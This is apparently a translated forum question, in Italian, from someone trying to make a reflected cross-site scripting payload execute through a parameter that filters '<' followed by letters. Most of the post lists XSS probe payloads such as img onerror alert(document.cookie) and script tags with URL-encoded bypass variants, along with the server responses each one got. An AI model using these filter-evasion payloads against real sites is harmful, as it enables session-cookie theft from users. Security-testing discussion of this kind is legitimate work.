Ho un parametro, chiamiamolo p
che normalmente accetta true
o false
come una stringa.
Posso inviare il seguente comando e verrà stampato, l'unica cosa che impedisce l'esecuzione dello script è %
-sign dopo <
.
p=true<%img%20src%3d"x"%20onerror%3dalert(document.cookie);>
Ed ecco il problema, posso solo inviare script che non verranno eseguiti. Se invio un html / script corretto, il server restituisce HTTP/1.1 200 OK
ma con una risposta vuota. Ma dal momento che il server accetta <>
non voglio rinunciare ancora.
Dalle risposte che ho inviato, penso che <
debba essere seguito da un carattere non alfabetico per l'esecuzione del codice, o %**
tranne per alcuni valori ex %2f
e %21
. Posso inviare valori con codifica URL che vengono stampati come testo in chiaro nell'applicazione, ma nessun carattere alfabetico che ho provato funziona, ad esempio %73
per s
restituisce una risposta vuota.
Qualche idea su cosa posso provare di più?
Esempio delle cose che ho provato:
Richiedi risposta di risposta:
<%img%20src%3d"x"%20onerror%3dalert(document.cookie);>
<%script>alert(1)<%/script>
<"script>alert(1)<"/script>
<%A1cript>alert(1)<%A1script>
<%script>alert(1)<%2escript>
<%script>alert(1)<"%2fscript>
<%script>alert(1)<%20script>
<%script>alert(1)<%30script>
<%script>alert(1)<%40script>
<@script>alert(1)<@/script>
<1script>alert(1)<1/script>
Risposta vuota:
<img%20src%3d"x"%20onerror%3dalert(document.cookie);>
<script>alert(1)</script>
<%script>alert(1)</script>
<script>alert(1)<%/script>
<%73cript>alert(1)<%2Fscript>
<%script>alert(1)<%2fscript>
<%script>alert(1)<%21script>
<%script>alert(1)<%50script>
<%00script>alert(1)<%script>
Se invio richieste con %0*
o %1*
ottengo: HTTP/1.1 500 Internal Server Error
. Tuttavia, l'errore che viene stampato indica Bad Request
<%script>alert(1)<%1escript>
400 Bad Request - Illegal XML character found among arguments: facets: p:<%script>alert(1)<\u001Escript>